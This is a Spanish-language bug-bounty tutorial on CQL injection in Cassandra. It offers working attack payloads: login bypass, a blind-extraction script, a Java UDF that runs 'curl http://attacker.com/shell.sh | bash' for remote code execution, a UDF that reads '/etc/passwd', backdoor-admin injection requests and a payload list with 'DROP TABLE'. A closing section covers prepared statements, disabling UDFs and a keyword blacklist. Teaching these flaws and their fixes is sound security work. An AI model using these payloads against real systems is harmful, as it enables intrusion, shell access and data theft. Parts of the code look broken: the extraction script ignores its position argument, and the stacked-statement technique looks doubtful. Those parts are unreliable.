bug-bounty

Cassandra (CQL) Injection

Bypass de filtros y extracción de keyspaces en arquitecturas NewSQL.

Pentester
18 minutos
CVSS 8.2
Enero 2026

CQL Injection en Cassandra

Aunque Cassandra usa CQL (Cassandra Query Language) similar a SQL, también es vulnerable a inyecciones cuando las queries se construyen con concatenación de strings. La diferencia clave: Cassandra no tiene operador UNION, lo que requiere técnicas diferentes.

Diferencias con SQL

  • ❌ No existe UNION ni JOIN
  • ❌ No hay subconsultas (subqueries)
  • ❌ No existe OR en WHERE
  • ✅ SÍ existe ALLOW FILTERING (peligroso)
  • ✅ SÍ existen funciones y user-defined functions (UDF)

1. Bypass de Autenticación

Escenario Vulnerable

Node.js con concatenación insegura
javascript
const cassandra = require('cassandra-driver');
const client = new cassandra.Client({ contactPoints: ['127.0.0.1'] });

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ❌ VULNERABLE - Concatenación directa
  const query = `SELECT * FROM users 
                 WHERE username = '${username}' 
                 AND password = '${password}'`;
  
  const result = await client.execute(query);
  
  if (result.rows.length > 0) {
    res.json({ success: true, user: result.rows[0] });
  }
});

Payload - Comentar Condición de Password

A diferencia de SQL, Cassandra usa // para comentarios de línea:

Request malicioso
json
POST /login HTTP/1.1
Content-Type: application/json

{
  "username": "admin' //",
  "password": "cualquiercosa"
}
Query resultante
sql
SELECT * FROM users 
WHERE username = 'admin' //' AND password = 'cualquiercosa'

-- Todo después de // es comentario
-- Equivalente a: SELECT * FROM users WHERE username = 'admin'

Resultado

El atacante inicia sesión como 'admin' sin conocer la contraseña.

2. Exfiltración de Datos

ALLOW FILTERING: Tu Nuevo Mejor Amigo

En Cassandra, ALLOW FILTERING permite queries sobre columnas no indexadas. Podemos abusar de esto para extraer datos:

Payload - Enumerar usuarios
sql
' ALLOW FILTERING //

-- Query completa:
SELECT * FROM users WHERE username = '' ALLOW FILTERING //' AND password = '...'

-- Retorna TODOS los usuarios

Blind Injection con Token

Cassandra usa tokens para particionar datos. Podemos usar esto para blind injection:

Script - Exfiltración character-by-character
python
import requests
import string

url = "http://target.com/api/search"
charset = string.ascii_lowercase + string.digits + '_'

def check_char(position, char):
    # Usar token() para comparaciones
    payload = f"' AND token(username) > 0 AND username >= '{char}' ALLOW FILTERING //"
    
    response = requests.post(url, json={
        "search": payload
    })
    
    return len(response.json()['results']) > 0

extracted = ""
for pos in range(1, 50):
    for char in charset:
        if check_char(pos, extracted + char):
            extracted += char
            print(f"Found: {extracted}")
            break

print(f"Final: {extracted}")

3. RCE via User-Defined Functions

¡UDFs pueden ejecutar código Java!

Si tienes permisos para crear UDFs, puedes ejecutar código Java arbitrario.

Crear UDF Maliciosa

Payload - UDF para RCE
sql
CREATE OR REPLACE FUNCTION evil_udf(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
    try {
        Runtime.getRuntime().exec(input);
        return "executed";
    } catch (Exception e) {
        return e.getMessage();
    }
$$;

-- Ejecutar comando
SELECT evil_udf('curl http://attacker.com/shell.sh | bash') FROM system.local;

UDF para Exfiltración

Payload - Leer archivos del sistema
sql
CREATE FUNCTION read_file(filepath text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
    try {
        java.nio.file.Path path = java.nio.file.Paths.get(filepath);
        byte[] data = java.nio.file.Files.readAllBytes(path);
        return new String(data);
    } catch (Exception e) {
        return "error";
    }
$$;

-- Leer archivo
SELECT read_file('/etc/passwd') FROM system.local;

Permisos Necesarios

Necesitas permiso CREATE en el keyspace. Pero muchas aplicaciones usan credenciales con permisos excesivos.

4. Batch Injection

Cassandra permite ejecutar múltiples statements en un BATCH:

Payload - Inyectar múltiples queries
sql
'; INSERT INTO admins (username, password) VALUES ('backdoor', 'hacked123'); //

-- Query completa:
UPDATE users SET email = ''; 
INSERT INTO admins (username, password) VALUES ('backdoor', 'hacked123'); 
//' WHERE id = ...
Código vulnerable a batch injection
javascript
// Aplicación permite actualizar perfil
app.post('/update-profile', async (req, res) => {
  const { userId, bio } = req.body;
  
  // ❌ VULNERABLE
  const query = `UPDATE users SET bio = '${bio}' WHERE user_id = ${userId}`;
  await client.execute(query);
});

Exploit Completo

Request - Crear usuario admin
json
POST /update-profile HTTP/1.1

{
  "userId": 123,
  "bio": "My bio'; INSERT INTO users (user_id, username, password, role) VALUES (999, 'hacker', 'pwned', 'ADMIN') USING TIMESTAMP 9999999999999999; //"
}
USING TIMESTAMP con valor muy alto asegura que nuestro INSERT tenga prioridad sobre otros updates.

Mitigación para Developers

✅ Código Seguro con Prepared Statements

SIEMPRE usa prepared statements con placeholders
✅ SEGURO - Prepared statement
javascript
const cassandra = require('cassandra-driver');
const client = new cassandra.Client({ contactPoints: ['127.0.0.1'] });

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  // ✅ SEGURO - Usar placeholders
  const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
  const params = [username, password];
  
  const result = await client.execute(query, params, { prepare: true });
  
  if (result.rows.length > 0) {
    res.json({ success: true });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});
✅ SEGURO - Python con cassandra-driver
python
from cassandra.cluster import Cluster
from cassandra.query import SimpleStatement

cluster = Cluster(['127.0.0.1'])
session = cluster.connect('myapp')

# ✅ SEGURO - Usar prepared statement
def get_user(username):
    query = "SELECT * FROM users WHERE username = ?"
    prepared = session.prepare(query)
    
    # Los valores se escapan automáticamente
    result = session.execute(prepared, [username])
    return result.one()

# ✅ También seguro con named parameters
def update_profile(user_id, new_bio):
    query = "UPDATE users SET bio = :bio WHERE user_id = :id"
    session.execute(query, {'bio': new_bio, 'id': user_id})

Deshabilitar UDFs en Producción

cassandra.yaml - Configuración segura
yaml
# Deshabilitar User Defined Functions
enable_user_defined_functions: false

# Deshabilitar scripted UDFs (JavaScript, etc)
enable_scripted_user_defined_functions: false

# Limitar permisos de usuario de aplicación
# En cqlsh:
REVOKE CREATE ON ALL KEYSPACES FROM app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON KEYSPACE myapp TO app_user;

Validación de Input

Validación adicional (defensa en profundidad)
javascript
function validateUsername(username) {
  // Solo alfanumérico y guiones bajos
  if (!/^[a-zA-Z0-9_]{3,20}$/.test(username)) {
    throw new Error('Invalid username format');
  }
  
  // Blacklist de caracteres peligrosos
  const dangerous = ["'", '"', ';', '--', '//', '/*', '*/', 'ALLOW FILTERING'];
  for (const pattern of dangerous) {
    if (username.toLowerCase().includes(pattern.toLowerCase())) {
      throw new Error('Invalid characters detected');
    }
  }
  
  return username;
}

app.post('/login', async (req, res) => {
  try {
    const username = validateUsername(req.body.username);
    const password = req.body.password;
    
    // Aún así, usar prepared statement
    const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
    const result = await client.execute(query, [username, password], { prepare: true });
    
    // ... resto del código
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

5. Herramientas de Testing

SQLMap con CQL (limitado)
bash
# SQLMap tiene soporte limitado para Cassandra
sqlmap -u "http://target.com/api/user?id=1" \
  --dbms=cassandra \
  --batch \
  --level 5 \
  --risk 3
Script personalizado de testing
python
import requests

payloads = [
    "' ALLOW FILTERING //",
    "' OR 1=1 ALLOW FILTERING //",
    "'; DROP TABLE users; //",
    "' AND token(id) > 0 //",
    "admin' //",
]

for payload in payloads:
    response = requests.post('http://target.com/login', json={
        'username': payload,
        'password': 'test'
    })
    
    print(f"Payload: {payload}")
    print(f"Status: {response.status_code}")
    print(f"Response length: {len(response.text)}")
    print("---")

Siguiente: SQLite Local Injection

Explotar SQLite en aplicaciones locales
Por Aitana Security Team